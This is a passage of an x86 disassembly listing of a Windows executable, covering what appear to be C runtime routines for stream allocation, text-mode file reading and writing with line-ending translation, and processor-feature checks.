loc_421BEB: ; CODE XREF: sub_421980+260j
mov ecx, [ebp+var_14]
or ch, 10h
mov [ebp+var_14], ecx
loc_421BF4: ; CODE XREF: sub_421980+269j
jmp short loc_421C1A
; ---------------------------------------------------------------------------
loc_421BF6: ; CODE XREF: sub_421980+144j
; DATA XREF: .text:00421CA1o
mov edx, [ebp+var_14]
and edx, 40h
test edx, edx
jz short loc_421C09
mov [ebp+var_4], 0
jmp short loc_421C11
; ---------------------------------------------------------------------------
loc_421C09: ; CODE XREF: sub_421980+27Ej
mov eax, [ebp+var_14]
or al, 40h
mov [ebp+var_14], eax
loc_421C11: ; CODE XREF: sub_421980+287j
jmp short loc_421C1A
; ---------------------------------------------------------------------------
loc_421C13: ; CODE XREF: sub_421980+133j
; sub_421980+144j
; DATA XREF: ...
mov [ebp+var_4], 0
loc_421C1A: ; CODE XREF: sub_421980:loc_421B00j
; sub_421980:loc_421B24j ...
jmp loc_421A7C
; ---------------------------------------------------------------------------
loc_421C1F: ; CODE XREF: sub_421980+10Dj
; sub_421980+117j
push 1A4h
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4282A0
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jge short loc_421C45
xor eax, eax
jmp short loc_421C96
; ---------------------------------------------------------------------------
loc_421C45: ; CODE XREF: sub_421980+2BFj
mov ecx, dword_492154
add ecx, 1
mov dword_492154, ecx
mov edx, [ebp+arg_C]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
mov ecx, [ebp+var_1C]
mov [eax+0Ch], ecx
mov edx, [ebp+var_C]
mov dword ptr [edx+4], 0
mov eax, [ebp+var_C]
mov dword ptr [eax], 0
mov ecx, [ebp+var_C]
mov dword ptr [ecx+8], 0
mov edx, [ebp+var_C]
mov dword ptr [edx+1Ch], 0
mov eax, [ebp+var_C]
mov ecx, [ebp+var_8]
mov [eax+10h], ecx
mov eax, [ebp+var_C]
loc_421C96: ; CODE XREF: sub_421980+F0j
; sub_421980+2C3j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_421980 endp
; ---------------------------------------------------------------------------
off_421C9D dd offset loc_421ACB ; DATA XREF: sub_421980+144r
dd offset loc_421BF6
dd offset loc_421BB5
dd offset loc_421B94
dd offset loc_421BD6
dd offset loc_421B05
dd offset loc_421B4C
dd offset loc_421B70
dd offset loc_421B29
dd offset loc_421C13
byte_421CC5 db 0 ; DATA XREF: sub_421980+13Er
dw 909h
dd 5 dup(9090909h), 9010909h, 3 dup(9090909h), 9040302h
dd 3 dup(9090909h), 9090605h, 2 dup(9090909h), 9090907h
dd 0CC080909h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421D10 proc near ; CODE XREF: sub_419C70+B9p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 0
push 2
call sub_41BC90
add esp, 4
mov [ebp+var_4], 0
jmp short loc_421D39
; ---------------------------------------------------------------------------
loc_421D30: ; CODE XREF: sub_421D10+A8j
; sub_421D10:loc_421E39j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_421D39: ; CODE XREF: sub_421D10+1Ej
mov ecx, [ebp+var_4]
cmp ecx, dword_493760
jge loc_421E3E
mov edx, [ebp+var_4]
mov eax, dword_492750
cmp dword ptr [eax+edx*4], 0
jz short loc_421DCF
mov ecx, [ebp+var_4]
mov edx, dword_492750
mov eax, [edx+ecx*4]
mov ecx, [eax+0Ch]
and ecx, 83h
test ecx, ecx
jnz short loc_421DCD
mov edx, [ebp+var_4]
mov eax, dword_492750
mov ecx, [eax+edx*4]
push ecx
mov edx, [ebp+var_4]
push edx
call sub_421270
add esp, 8
mov eax, [ebp+var_4]
mov ecx, dword_492750
mov edx, [ecx+eax*4]
mov eax, [edx+0Ch]
and eax, 83h
test eax, eax
jz short loc_421DBD
mov ecx, [ebp+var_4]
mov edx, dword_492750
mov eax, [edx+ecx*4]
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_4212E0
add esp, 8
jmp loc_421D30
; ---------------------------------------------------------------------------
loc_421DBD: ; CODE XREF: sub_421D10+8Dj
mov edx, [ebp+var_4]
mov eax, dword_492750
mov ecx, [eax+edx*4]
mov [ebp+var_8], ecx
jmp short loc_421E3E
; ---------------------------------------------------------------------------
loc_421DCD: ; CODE XREF: sub_421D10+5Dj
jmp short loc_421E39
; ---------------------------------------------------------------------------
loc_421DCF: ; CODE XREF: sub_421D10+44j
push 55h
push offset aStream_c ; "stream.c"
push 2
push 38h
call sub_416A30
add esp, 10h
mov edx, [ebp+var_4]
mov ecx, dword_492750
mov [ecx+edx*4], eax
mov edx, [ebp+var_4]
mov eax, dword_492750
cmp dword ptr [eax+edx*4], 0
jz short loc_421E37
mov ecx, [ebp+var_4]
mov edx, dword_492750
mov eax, [edx+ecx*4]
add eax, 20h
push eax
call ds:dword_494430
mov ecx, [ebp+var_4]
mov edx, dword_492750
mov eax, [edx+ecx*4]
add eax, 20h
push eax
call ds:dword_494304
mov ecx, [ebp+var_4]
mov edx, dword_492750
mov eax, [edx+ecx*4]
mov [ebp+var_8], eax
loc_421E37: ; CODE XREF: sub_421D10+EAj
jmp short loc_421E3E
; ---------------------------------------------------------------------------
loc_421E39: ; CODE XREF: sub_421D10:loc_421DCDj
jmp loc_421D30
; ---------------------------------------------------------------------------
loc_421E3E: ; CODE XREF: sub_421D10+32j
; sub_421D10+BBj ...
cmp [ebp+var_8], 0
jz short loc_421E7F
mov ecx, [ebp+var_8]
mov dword ptr [ecx+4], 0
mov edx, [ebp+var_8]
mov dword ptr [edx+0Ch], 0
mov eax, [ebp+var_8]
mov dword ptr [eax+8], 0
mov ecx, [ebp+var_8]
mov dword ptr [ecx], 0
mov edx, [ebp+var_8]
mov dword ptr [edx+1Ch], 0
mov eax, [ebp+var_8]
mov dword ptr [eax+10h], 0FFFFFFFFh
loc_421E7F: ; CODE XREF: sub_421D10+132j
push 2
call sub_41BD30
add esp, 4
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_421D10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421E90 proc near ; CODE XREF: sub_419DD0+118p
; sub_421790+CBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, dword_492520
jnb short loc_421EC1
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_492420[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_421EDC
loc_421EC1: ; CODE XREF: sub_421E90+Dj
call sub_422F20
mov dword ptr [eax], 9
call sub_422F30
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_421F0E
; ---------------------------------------------------------------------------
loc_421EDC: ; CODE XREF: sub_421E90+2Fj
mov edx, [ebp+arg_0]
push edx
call sub_4280C0
add esp, 4
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_421F20
add esp, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push eax
call sub_428150
add esp, 4
mov eax, [ebp+var_4]
loc_421F0E: ; CODE XREF: sub_421E90+4Aj
mov esp, ebp
pop ebp
retn
sub_421E90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421F20 proc near ; CODE XREF: sub_421E90+64p
; sub_4282A0+42Fp
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_18], 0
mov eax, [ebp+arg_4]
mov [ebp+var_14], eax
cmp [ebp+arg_8], 0
jz short loc_421F5B
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_492420[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 2
test ecx, ecx
jz short loc_421F62
loc_421F5B: ; CODE XREF: sub_421F20+17j
xor eax, eax
jmp loc_422361
; ---------------------------------------------------------------------------
loc_421F62: ; CODE XREF: sub_421F20+39j
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, dword_492420[edx*4]
movsx edx, byte ptr [ecx+eax+4]
and edx, 48h
test edx, edx
jz short loc_421FF9
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_492420[eax*4]
movsx eax, byte ptr [edx+ecx+5]
cmp eax, 0Ah
jz short loc_421FF9
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_492420[ecx*4]
mov ecx, [ebp+var_14]
mov dl, [eax+edx+5]
mov [ecx], dl
mov eax, [ebp+var_14]
add eax, 1
mov [ebp+var_14], eax
mov ecx, [ebp+var_18]
add ecx, 1
mov [ebp+var_18], ecx
mov edx, [ebp+arg_8]
sub edx, 1
mov [ebp+arg_8], edx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_492420[eax*4]
mov byte ptr [edx+ecx+5], 0Ah
loc_421FF9: ; CODE XREF: sub_421F20+62j
; sub_421F20+82j
push 0
lea eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_492420[eax*4]
mov eax, [edx+ecx]
push eax
call ds:dword_4942DC
test eax, eax
jnz short loc_422078
call ds:dword_4942F0
mov [ebp+var_8], eax
cmp [ebp+var_8], 5
jnz short loc_422057
call sub_422F20
mov dword ptr [eax], 9
call sub_422F30
mov ecx, [ebp+var_8]
mov [eax], ecx
or eax, 0FFFFFFFFh
jmp loc_422361
; ---------------------------------------------------------------------------
loc_422057: ; CODE XREF: sub_421F20+118j
cmp [ebp+var_8], 6Dh
jnz short loc_422064
xor eax, eax
jmp loc_422361
; ---------------------------------------------------------------------------
loc_422064: ; CODE XREF: sub_421F20+13Bj
mov edx, [ebp+var_8]
push edx
call sub_422E80
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_422361
; ---------------------------------------------------------------------------
loc_422078: ; CODE XREF: sub_421F20+109j
mov eax, [ebp+var_18]
add eax, [ebp+var_10]
mov [ebp+var_18], eax
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_492420[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 80h
test ecx, ecx
jz loc_42235E
cmp [ebp+var_10], 0
jz short loc_4220F4
mov edx, [ebp+arg_4]
movsx eax, byte ptr [edx]
cmp eax, 0Ah
jnz short loc_4220F4
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_492420[ecx*4]
mov cl, [eax+edx+4]
or cl, 4
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov edx, dword_492420[edx*4]
mov [edx+eax+4], cl
jmp short loc_42212A
; ---------------------------------------------------------------------------
loc_4220F4: ; CODE XREF: sub_421F20+18Ej
; sub_421F20+199j
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_492420[eax*4]
mov al, [edx+ecx+4]
and al, 0FBh
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov ecx, dword_492420[ecx*4]
mov [ecx+edx+4], al
loc_42212A: ; CODE XREF: sub_421F20+1D2j
mov edx, [ebp+arg_4]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
mov [ebp+var_4], eax
loc_422136: ; CODE XREF: sub_421F20:loc_422350j
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_18]
cmp [ebp+var_4], ecx
jnb loc_422355
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 1Ah
jnz short loc_4221AE
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_492420[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 40h
test ecx, ecx
jnz short loc_4221A9
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, dword_492420[edx*4]
mov dl, [ecx+eax+4]
or dl, 2
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov eax, dword_492420[eax*4]
mov [eax+ecx+4], dl
loc_4221A9: ; CODE XREF: sub_421F20+250j
jmp loc_422355
; ---------------------------------------------------------------------------
loc_4221AE: ; CODE XREF: sub_421F20+22Ej
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0Dh
jz short loc_4221DA
mov eax, [ebp+var_C]
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp loc_422350
; ---------------------------------------------------------------------------
loc_4221DA: ; CODE XREF: sub_421F20+297j
mov edx, [ebp+var_18]
mov eax, [ebp+arg_4]
lea ecx, [eax+edx-1]
cmp [ebp+var_4], ecx
jnb short loc_422230
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx+1]
cmp eax, 0Ah
jnz short loc_42220F
mov ecx, [ebp+var_4]
add ecx, 2
mov [ebp+var_4], ecx
mov edx, [ebp+var_C]
mov byte ptr [edx], 0Ah
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_42222B
; ---------------------------------------------------------------------------
loc_42220F: ; CODE XREF: sub_421F20+2D3j
mov ecx, [ebp+var_C]
mov edx, [ebp+var_4]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_42222B: ; CODE XREF: sub_421F20+2EDj
jmp loc_422350
; ---------------------------------------------------------------------------
loc_422230: ; CODE XREF: sub_421F20+2C7j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov [ebp+var_8], 0
push 0
lea ecx, [ebp+var_10]
push ecx
push 1
lea edx, [ebp+var_1C]
push edx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_492420[eax*4]
mov eax, [edx+ecx]
push eax
call ds:dword_4942DC
test eax, eax
jnz short loc_422279
call ds:dword_4942F0
mov [ebp+var_8], eax
loc_422279: ; CODE XREF: sub_421F20+34Ej
cmp [ebp+var_8], 0
jnz short loc_422285
cmp [ebp+var_10], 0
jnz short loc_422299
loc_422285: ; CODE XREF: sub_421F20+35Dj
mov ecx, [ebp+var_C]
mov byte ptr [ecx], 0Dh
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
jmp loc_422350
; ---------------------------------------------------------------------------
loc_422299: ; CODE XREF: sub_421F20+363j
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_492420[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 48h
test eax, eax
jz short loc_422303
movsx ecx, [ebp+var_1C]
cmp ecx, 0Ah
jnz short loc_4222D5
mov edx, [ebp+var_C]
mov byte ptr [edx], 0Ah
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_422301
; ---------------------------------------------------------------------------
loc_4222D5: ; CODE XREF: sub_421F20+3A2j
mov ecx, [ebp+var_C]
mov byte ptr [ecx], 0Dh
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_492420[eax*4]
mov al, [ebp+var_1C]
mov [edx+ecx+5], al
loc_422301: ; CODE XREF: sub_421F20+3B3j
jmp short loc_422350
; ---------------------------------------------------------------------------
loc_422303: ; CODE XREF: sub_421F20+399j
mov ecx, [ebp+var_C]
cmp ecx, [ebp+arg_4]
jnz short loc_422325
movsx edx, [ebp+var_1C]
cmp edx, 0Ah
jnz short loc_422325
mov eax, [ebp+var_C]
mov byte ptr [eax], 0Ah
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
jmp short loc_422350
; ---------------------------------------------------------------------------
loc_422325: ; CODE XREF: sub_421F20+3E9j
; sub_421F20+3F2j
push 1
push 0FFFFFFFFh
mov edx, [ebp+arg_0]
push edx
call sub_424B90
add esp, 0Ch
mov [ebp+var_20], eax
movsx eax, [ebp+var_1C]
cmp eax, 0Ah
jz short loc_422350
mov ecx, [ebp+var_C]
mov byte ptr [ecx], 0Dh
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
loc_422350: ; CODE XREF: sub_421F20+2B5j
; sub_421F20:loc_42222Bj ...
jmp loc_422136
; ---------------------------------------------------------------------------
loc_422355: ; CODE XREF: sub_421F20+21Fj
; sub_421F20:loc_4221A9j
mov eax, [ebp+var_C]
sub eax, [ebp+arg_4]
mov [ebp+var_18], eax
loc_42235E: ; CODE XREF: sub_421F20+184j
mov eax, [ebp+var_18]
loc_422361: ; CODE XREF: sub_421F20+3Dj
; sub_421F20+132j ...
mov esp, ebp
pop ebp
retn
sub_421F20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422370 proc near ; CODE XREF: sub_41A0D0+147p
; sub_41E810+1C9p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, dword_492520
jnb short loc_4223A1
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_492420[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_4223BC
loc_4223A1: ; CODE XREF: sub_422370+Dj
call sub_422F20
mov dword ptr [eax], 9
call sub_422F30
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_4223EE
; ---------------------------------------------------------------------------
loc_4223BC: ; CODE XREF: sub_422370+2Fj
mov edx, [ebp+arg_0]
push edx
call sub_4280C0
add esp, 4
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_422400
add esp, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push eax
call sub_428150
add esp, 4
mov eax, [ebp+var_4]
loc_4223EE: ; CODE XREF: sub_422370+4Aj
mov esp, ebp
pop ebp
retn
sub_422370 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422400 proc near ; CODE XREF: sub_422370+64p
; sub_42C610+145p
var_420 = dword ptr -420h
var_41C = byte ptr -41Ch
var_418 = dword ptr -418h
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 420h
mov [ebp+var_10], 0
mov eax, [ebp+var_10]
mov [ebp+var_420], eax
cmp [ebp+arg_8], 0
jnz short loc_422426
xor eax, eax
jmp loc_42266F
; ---------------------------------------------------------------------------
loc_422426: ; CODE XREF: sub_422400+1Dj
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_492420[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 20h
test ecx, ecx
jz short loc_422458
push 2
push 0
mov edx, [ebp+arg_0]
push edx
call sub_424B90
add esp, 0Ch
loc_422458: ; CODE XREF: sub_422400+46j
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_492420[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 80h
test eax, eax
jz loc_42258C
mov ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov [ebp+var_C], 0
loc_42248D: ; CODE XREF: sub_422400:loc_422585j
mov edx, [ebp+var_4]
sub edx, [ebp+arg_4]
cmp edx, [ebp+arg_8]
jnb loc_42258A
lea eax, [ebp+var_414]
mov [ebp+var_8], eax
loc_4224A5: ; CODE XREF: sub_422400+115j
mov ecx, [ebp+var_8]
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jge short loc_422517
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jnb short loc_422517
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [ebp+var_41C], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
movsx ecx, [ebp+var_41C]
cmp ecx, 0Ah
jnz short loc_422501
mov edx, [ebp+var_420]
add edx, 1
mov [ebp+var_420], edx
mov eax, [ebp+var_8]
mov byte ptr [eax], 0Dh
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
loc_422501: ; CODE XREF: sub_422400+E1j
mov edx, [ebp+var_8]
mov al, [ebp+var_41C]
mov [edx], al
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
jmp short loc_4224A5
; ---------------------------------------------------------------------------
loc_422517: ; CODE XREF: sub_422400+B6j
; sub_422400+C1j
push 0
lea edx, [ebp+var_418]
push edx
mov eax, [ebp+var_8]
lea ecx, [ebp+var_414]
sub eax, ecx
push eax
lea edx, [ebp+var_414]
push edx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_492420[eax*4]
mov eax, [edx+ecx]
push eax
call ds:dword_4942E4
test eax, eax
jz short loc_42257A
mov ecx, [ebp+var_10]
add ecx, [ebp+var_418]
mov [ebp+var_10], ecx
mov edx, [ebp+var_8]
lea eax, [ebp+var_414]
sub edx, eax
cmp [ebp+var_418], edx
jge short loc_422578
jmp short loc_42258A
; ---------------------------------------------------------------------------
loc_422578: ; CODE XREF: sub_422400+174j
jmp short loc_422585
; ---------------------------------------------------------------------------
loc_42257A: ; CODE XREF: sub_422400+155j
call ds:dword_4942F0
mov [ebp+var_C], eax
jmp short loc_42258A
; ---------------------------------------------------------------------------
loc_422585: ; CODE XREF: sub_422400:loc_422578j
jmp loc_42248D
; ---------------------------------------------------------------------------
loc_42258A: ; CODE XREF: sub_422400+96j
; sub_422400+176j ...
jmp short loc_4225DC
; ---------------------------------------------------------------------------
loc_42258C: ; CODE XREF: sub_422400+7Aj
push 0
lea ecx, [ebp+var_418]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_492420[ecx*4]
mov ecx, [eax+edx]
push ecx
call ds:dword_4942E4
test eax, eax
jz short loc_4225D3
mov [ebp+var_C], 0
mov edx, [ebp+var_418]
mov [ebp+var_10], edx
jmp short loc_4225DC
; ---------------------------------------------------------------------------
loc_4225D3: ; CODE XREF: sub_422400+1BFj
call ds:dword_4942F0
mov [ebp+var_C], eax
loc_4225DC: ; CODE XREF: sub_422400:loc_42258Aj
; sub_422400+1D1j
cmp [ebp+var_10], 0
jnz loc_422666
cmp [ebp+var_C], 0
jz short loc_42261A
cmp [ebp+var_C], 5
jnz short loc_422609
call sub_422F20
mov dword ptr [eax], 9
call sub_422F30
mov ecx, [ebp+var_C]
mov [eax], ecx
jmp short loc_422615
; ---------------------------------------------------------------------------
loc_422609: ; CODE XREF: sub_422400+1F0j
mov edx, [ebp+var_C]
push edx
call sub_422E80
add esp, 4
loc_422615: ; CODE XREF: sub_422400+207j
or eax, 0FFFFFFFFh
jmp short loc_42266F
; ---------------------------------------------------------------------------
loc_42261A: ; CODE XREF: sub_422400+1EAj
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_492420[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 40h
test eax, eax
jz short loc_42264B
mov ecx, [ebp+arg_4]
movsx edx, byte ptr [ecx]
cmp edx, 1Ah
jnz short loc_42264B
xor eax, eax
jmp short loc_42266F
; ---------------------------------------------------------------------------
loc_42264B: ; CODE XREF: sub_422400+23Aj
; sub_422400+245j
call sub_422F20
mov dword ptr [eax], 1Ch
call sub_422F30
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_42266F
; ---------------------------------------------------------------------------
loc_422666: ; CODE XREF: sub_422400+1E0j
mov eax, [ebp+var_10]
sub eax, [ebp+var_420]
loc_42266F: ; CODE XREF: sub_422400+21j
; sub_422400+218j ...
mov esp, ebp
pop ebp
retn
sub_422400 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422680 proc near ; CODE XREF: sub_41A330+15p
; .text:004288C5p
push ebp
mov ebp, esp
push 30000h
push 10000h
call sub_428890
add esp, 8
pop ebp
retn
sub_422680 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4226A0 proc near ; CODE XREF: sub_422700:loc_422739p
var_1C = dword ptr -1Ch
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov dword ptr [ebp+var_18], 80000000h
mov dword ptr [ebp+var_18+4], 4147FFFFh
mov dword ptr [ebp+var_8], 0C0000000h
mov dword ptr [ebp+var_8+4], 4150017Eh
fld [ebp+var_8]
fdiv [ebp+var_18]
fmul [ebp+var_18]
fsubr [ebp+var_8]
fstp [ebp+var_10]
fld [ebp+var_10]
fcomp ds:dbl_432FD8
fnstsw ax
test ah, 41h
jnz short loc_4226ED
mov [ebp+var_1C], 1
jmp short loc_4226F4
; ---------------------------------------------------------------------------
loc_4226ED: ; CODE XREF: sub_4226A0+42j
mov [ebp+var_1C], 0
loc_4226F4: ; CODE XREF: sub_4226A0+4Bj
mov eax, [ebp+var_1C]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4226A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422700 proc near ; CODE XREF: sub_41A330+Bp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
push offset aKernel32 ; "KERNEL32"
call ds:dword_494380
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_422739
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
mov eax, [ebp+var_4]
push eax
call ds:dword_494348
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_422739
push 0
call [ebp+var_8]
jmp short loc_42273E
; ---------------------------------------------------------------------------
loc_422739: ; CODE XREF: sub_422700+18j
; sub_422700+30j
call sub_4226A0
loc_42273E: ; CODE XREF: sub_422700+37j
mov esp, ebp
pop ebp
retn
sub_422700 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422750 proc near ; CODE XREF: sub_41EA90+6CFp
; DATA XREF: sub_41A370+21o ...
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
push ecx
call sub_41AE40
add esp, 4
cmp eax, 65h
jz short loc_4227B0
loc_42276A: ; CODE XREF: sub_422750+5Ej
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
cmp dword_442F58, 1
jle short loc_422792
push 4
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
push ecx
call sub_41E750
add esp, 8
mov [ebp+var_C], eax
jmp short loc_4227AA
; ---------------------------------------------------------------------------
loc_422792: ; CODE XREF: sub_422750+2Aj
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
mov ecx, off_442D4C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp+var_C], edx
loc_4227AA: ; CODE XREF: sub_422750+40j
cmp [ebp+var_C], 0
jnz short loc_42276A
